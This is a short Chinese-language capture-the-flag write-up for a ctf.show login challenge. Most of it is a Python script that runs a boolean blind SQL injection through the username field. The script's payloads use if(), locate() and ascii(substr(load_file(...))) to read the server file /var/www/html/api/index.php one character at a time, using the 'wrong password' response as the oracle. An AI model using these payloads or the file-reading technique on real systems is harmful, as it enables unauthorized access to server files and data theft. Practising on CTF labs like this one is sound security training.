和上道题目题目类似,但是数据库里存的内容改变了
这里用0 0无法登录,会返回密码错误
但是0 1||1 又被过滤了
而用 1 1登录的时候会返回查询失败
我们可以根据两个返回的不同的值来进行布尔盲注
import requests
url = "http://3c62eaac-7e52-44c0-8a45-ae24d2881a92.challenge.ctf.show/api/"
payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"
payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"
def find_flag_index():
head = 1
tail= 300
while head < tail:
mid = (head + tail) >> 1
data = {
"username": payload1.format(index=mid),
"password": '0'
}
response = requests.post(url, data=data)
if "密码错误" in response.json()['msg']:
head = mid +1
else:
tail = mid
print("[!]flag index",mid)
return mid
def getFlag(num):
i = int(num)
flag = ""
while True:
head = 32
tail = 127
i = i + 1
while not (abs(head-tail) == 1 or head == tail):
mid = (head + tail) // 2
data = {
"username": payload2.format(i,mid),
"password": '0'
}
response = requests.post(url,data=data)
if "密码错误" in response.json()['msg']:
head = mid
else:
tail = mid
if tail < head:
tail = head
flag += chr(tail)
print("[!]flag:",flag)
if flag[-1] == "}":
break
if __name__== "__main__":
Index = find_flag_index()
getFlag(Index)